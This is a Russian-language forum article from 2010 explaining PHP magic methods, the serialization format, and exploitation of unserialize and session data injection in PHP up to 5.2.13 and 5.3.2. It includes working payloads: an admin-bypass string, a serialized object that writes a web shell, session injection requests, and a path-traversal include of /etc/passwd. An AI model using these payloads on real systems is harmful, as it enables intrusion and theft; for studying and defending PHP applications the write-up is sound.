Магические методы, сериализация, инъекции в сессию и все-все-все

2010-12-02T00:00:00
ID RDOT:950
Type rdot
Reporter BlackFan
Modified 2010-12-02T00:00:00

Description

> ==[-1]== Введение

Изначально писал для себя, как небольшой сборник полезных идей, в итоге вылилось вот в такую статью. Особого опыта в написании публикаций у меня нет, так что ногами не пинать, я старался
Перед переходом к практическим примерам рассмотрим теоретически основы используемых функций.

> ==[0]== Магические методы

__construct
Выполняется при каждом создании экземпляра объекта. Если PHP не может обнаружить объявленный метод __construct(), вызов конструктора произойдет по прежней схеме, через обращение к методу, имя которого соответствует имени класса.
__destruct
Выполняется при удалении всех ссылок на объект, при явном удалении объекта или по завершению работы. (При этом стоит обратить внимание вот на эту тему <https://rdot.org/forum/showthread.php?t=791>)
__call
Выполняется при вызове несуществующего в классе метода.
__callStatic (PHP 5.3.0)
Выполняется при вызове несуществующего в классе метода в статическом контексте.
__get
Получение значения несуществующего (либо недоступного из-за модификатора private/protected) свойства объекта.
__set
Установка значения несуществующего или недоступного свойства объекта.
__isset (PHP 5.1.0)
Выполняется при проверке с помощью isset() или empty() несуществующего или недоступного свойства объекта.
__unset (PHP 5.1.0)
Выполняется, когда функция unset() применяется на несуществующее или недоступное свойство объекта.
__sleep
Выполняется внутри функции serialize и определяет какие члены объекта необходимо сохранить.
__wakeup
Выполняется при десериализации.
__toString
В PHP меньше 5.2.0 выполняется только в комбинации с echo() или print().
Начиная с PHP 5.2.0 выполняется в любом строковом контексте.
__invoke (PHP 5.3.0)
Выполняется, когда скрипт пытается вызвать объект, как функцию.
__set_state (PHP 5.1.0)
Этот статический метод вызывается для тех классов, которые экспортируются функцией var_export()
__clone
Метод выполняется при клонировании объекта с помощью clone.

> ==[1]== Сериализация / десериализация

Сериализация — процесс перевода какой-либо структуры данных в последовательность битов.
Обратной к операции сериализации является операция десериализации — восстановление начального состояния структуры данных из битовой последовательности.

Рассмотрим, как выглядят данные в сериализованном виде

null

Код:

N;

boolean

Код:

b:1;
[тип]:[значение];

integer

Код:

i:66;
[тип]:[значение];

float / double

Код:

d:1.2339;
d:NAN;
d:-INF;
[тип]:[значение];

string

Код:

s:3:"ABC";
[тип]:[длинна_строки]:[значение];

String

Код:

S:3:"A\FFC";
[тип]:[длинна_строки]:[значение];

Отличае S от s в том, что при S символы можно задавать в виде \XX (X == [0-9a-fA-F])

array

Код:

a:1:{...};
[тип]:[количество_элементов]:{[индекс];[элемент];}

Индекс может быть строкой или целым числом. Если указать несколько одинаковых индексов, то, соответственно, запишется последний.

object (stdClass)

Код:

o:1:"i:0;s:3:"ABC";}
[тип]:[количество_элементов]:"[индекс];[значение];}

Object

Код:

O:9:"testClass":3:{}
[тип]:[длина_названия]:[название]:[количество_полей]:{[название_поля];[значение];}

На полях объекта нужно остановиться отдельно, так как формат записи меняется в зависимости от модификатора доступа.

Пример

PHP код:

class a {
private $var2 = 'v2';
}

class b extends a {
public $var4 = 'v4';
private $var5 = 'v5';
protected $var6 = 'v7';
}

echo serialize(new b());

Код:

O:1:"b":4:{s:4:"var4";s:2:"v4";s:7:"\0b\0var5";s:2:"v5";s:7:"\0*\0var6";s:2:"v7";s:7:"\0a\0var2";s:2:"v2";}

Особенность в том, что private поле записывается с указанием названия класса обрамленного нулл-байтами, а protected начинается с "\0*\0".

Сериализуемый Class (реализует интерфейс Serializable)

Код:

C:9:"testClass":4:{i:1;}
[тип]:[длина_названия]:[название]:[длина_сериализованных_данных]:{[сериализованные_данные]}

В результате десериализации такого класса произойдет вызов функции unserialize, которую класс должен реализовывать.

Копирование элемента

Код:

r:2;

Ссылка на элемент

Код:

R:2;

Нумеруются они примерно так:

И пример, показывающий отличие r от R:

PHP код:

$a = unserialize('a:2:{i:0;i:666;i:1;r:2;}');

var_dump($a); //array(2) { [0]=> int(666) [1]=> int(666) }
$a[0] = 999;

var_dump($a); //array(2) { [0]=> int(999) [1]=> int(666) }

$a = unserialize('a:2:{i:0;i:666;i:1;R:2;}');

var_dump($a); //array(2) { [0]=> &int(666) [1]=> &int(666) }
$a[0] = 999;

var_dump($a); //array(2) { [0]=> &int(999) [1]=> &int(999) }

Рассмотрим несколько примеров использования десериализации в своих целях от Эссера
1) DoS

Код:

a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:...

Ну здесь какие-либо комментарии излишни

2)

PHP код:

$data = unserialize($autologin);
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
$admin = true;
} else {
$admin = false;
}

В PHP существует 2 типа сравнения: Identical (===) и Equal (==).
Identical возвращает TRUE, если переменные эквивалентны и имеют одинаковый тип, а Equal - достаточно просто эвивалентности.
При сравнении переменных различных типов руководствуемся этой таблицей: <http://www.php.net/manual/en/types.comparisons.php>
Соответственно, поместив в $data['username'] и $data['password'] boolean(true), либо integer(0) условие выполнится и мы станем админом.

Эксплуатация:

Код:

a:2:{s:8:"username";b:1;s:8:"password";b:1;}
a:2:{s:8:"username";i:0;s:8:"password";i:0;}

3) Пример из статьи "PHP и волшебные методы: сериализация PHP-объектов глазами хакера"

PHP код:

class testClass
{
protected $log_file='log'; //файл логов
private $path = './'; //путь к файлу логов
var $log_dump; //содержимое лога

function __destruct()
{
$f = fopen($this->path.$this->log_file.'.txt','w');
fwrite($f,$this->log_dump);
fclose($f);
}
}

$test = new testClass();
$test->log_dump = time();
unset($test);

unserialize($_GET['c']);

Отправив на десериализацию такой объект testClass

Код:

O:9:"testClass":3:{s:11:"\0*\0log_file";s:9:"evil.php\0";s:15:"\0testClass\0path";s:2:"./";s:8:"log_dump";s:16:"&lt;? phpinfo(); ?&gt;";}

Мы получим выполнение методов __wakeup и __destruct с нашими переопределенными полями (log_file = evil.php\0, log_dump = <? phpinfo(); ?>).
Ну и исходя из кода, мы, вместо безобидного лога, можем создать веб-шелл.

> ==[2]== Сессии

Итак, пришло время перейти к самой интересной части статьи, а именно к инъекциям в сессию.
И снова нужно немного теории, рассмотрим, что представляют из себя файлы сессии.

Код:

test|s:3:"aaa";lol|b:1;

Все довольно примитивно, массив записывается в виде

Код:

[индекс][разделитель_"|"][сериализованное_значение]

Если в индексе присутствует разделитель "|", то файл сессии обнуляется.
Но если покопаться в исходном коде php, то можно найти еще один вариант записи для "неопределенных" переменных:

Код:

[!][индекс][разделитель_"|"]

Причем наличие символа "!" в индексе не проверяется при записи сессии в файл!
На этом и основана уязвимость, найденная Стефаном Эссером "PHP Session Serializer Session Data Injection Vulnerability"
Уязвимые версии:
PHP 5.2 <= 5.2.13
PHP 5.3 <= 5.3.2

Допустим, мы имеем следующий код:

PHP код:

session_start();
$_SESSION[$_GET['prefix'] . 'blah'] = $_GET['data'];

Обратившись к скрипту ?prefix=!&data=|xxx|b:1; в файле сессии мы получим следующее:

Код:

!blah|s:9:"|xxx|b:1;";

При считывании из сессии эта запись будет интерпретирована как:
1) неопределенная переменная blah
2) косячная переменная s:9:" без значения
3) переменная xxx с нужным нам содержимым
4) и в конце символы ";, которые не считаются

Причем мы можем не только определять нужные нам переменные сессии, но и использовать все возможности десериализации, описанные выше.
Необходимо заметить, что если внести в сессию объект, то при каждом обновлении страницы у нас будет происходить чтение сессии из файла (выполнение __wakeup для объекта) и в конце запись этого объекта назад в файл (выполнение __sleep и __destruct).

Так же, при register_globals = On можно занести в сессию значение любой переменной!

PHP код:

$cfg['password']="my super password";
session_start();
if(isset($_GET['prefix']))
$_SESSION[$_GET['prefix']]=$_GET['data'];

Запрос:

Код:

test.php?prefix=!&data=|cfg|

В результате, после обновления страницы, в файле сессии мы получим следущее:

Код:

cfg|a:1:{s:8:"password";s:17:"my super password";}

Либо, можно использовать даже такой код:

PHP код:

$_SESSION[$_GET['prefix']] = "ololo";

Обратившись таким образом, мы опять же получим значение переменной в сессии

Код:

test.php?prefix=!_SERVER

Так как в файл сессии запишется

Код:

!_SERVER|s:5:"ololo";

И при считывании s:5:"ololo"; отбросится и в нашу сессию запишется значение массива _SERVER

Плюс ко всему прочему, возможна перезапись переменных через сессии (опять же при register_globals = On). Примеры аналогичны предыдущим, только с указанием значения переменных.

PHP код:

$_SESSION[$_GET['prefix']]=$_GET['data'];
echo $_SERVER['REMOTE_ADDR'];

Варианты запроса для перезаписи:

Код:

test.php?prefix=_SERVER&data[REMOTE_ADDR]=omgwtf
test.php?prefix=!&data=|_SERVER|a:1:{s:11:"REMOTE_ADDR";s:6:"omgwtf";}

При этом не стоит забывать, что перезаписывается весь массив _SERVER

Еще вариант попадания данных в сессию от Эссера

PHP код:

$_SESSION = array_merge($_SESSION, $_POST);

Так же не стоит забывать, что если мы имеем перезапись переменных, стоящую после session_start();
Пример:

PHP код:

session_start();
...
foreach ($_POST as $k => $v) {
$$k = $v;
}

То перезаписав массив _SESSION мы опять же можем использовать все возможности десериализации и инъекций в сессию.

> ==[3]== Еще немного магии

Так как при объектно-ориентированном программировании для каждого класса создается отдельный php файл, в начале каждого скрипта приходится писать огромные листинги с инклюдом всех используемых классов. Дабы избавить программистов от этого, в php есть функция __autoload, которая автоматически вызывается при работе с необъявленным классом, ну и в соответствии с названием, ее цель подгрузить нужный нам класс.
Рассмотрим пример из документации:

PHP код:

function __autoload($class_name) {
require_once $class_name . '.php';
}

Если мы можем переопределить любую переменную, которая используется в функции в качестве названия класса, то в зависимости от реализации __autoload у нас получится LFI или RFI

Код:

call_user_func(array("../../../etc/passwd\0","test"));
get_parent_class("http://google.ru\0");

В этом примере очень хотелось прикрутить десериализацию объекта с названием "../../../etc/passwd", но, к сожалению, он получился не рабочим, так как при десериализации проверяются валидные символы в названии класса:

Код:

len3 = strspn(class_name, "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\177\200\201\202\203\204\205\206\207\210\211\212\213\214\215\216\217\220\221\222\223\224\225\226\227\230\231\232\233\234\235\236\237\240\241\242\243\244\245\246\247\250\251\252\253\254\255\256\257\260\261\262\263\264\265\266\267\270\271\272\273\274\275\276\277\300\301\302\303\304\305\306\307\310\311\312\313\314\315\316\317\320\321\322\323\324\325\326\327\330\331\332\333\334\335\336\337\340\341\342\343\344\345\346\347\350\351\352\353\354\355\356\357\360\361\362\363\364\365\366\367\370\371\372\373\374\375\376\377\\");
if (len3 != len)
{
       *p = YYCURSOR + len3 - len;
       return 0;
}

Но, тем не менее, мы можем заинклюдить файл из той же папки, что и наш скрипт.

Код:

unserialize('O:4:"test":0:{};"');
Warning: require_once(test.php) [function.require-once]: failed to open stream

> ==[4]== Спасибки

Stefan Esser, M4g, d0znpp

За основу была взята статья "PHP и волшебные методы: сериализация PHP-объектов глазами хакера"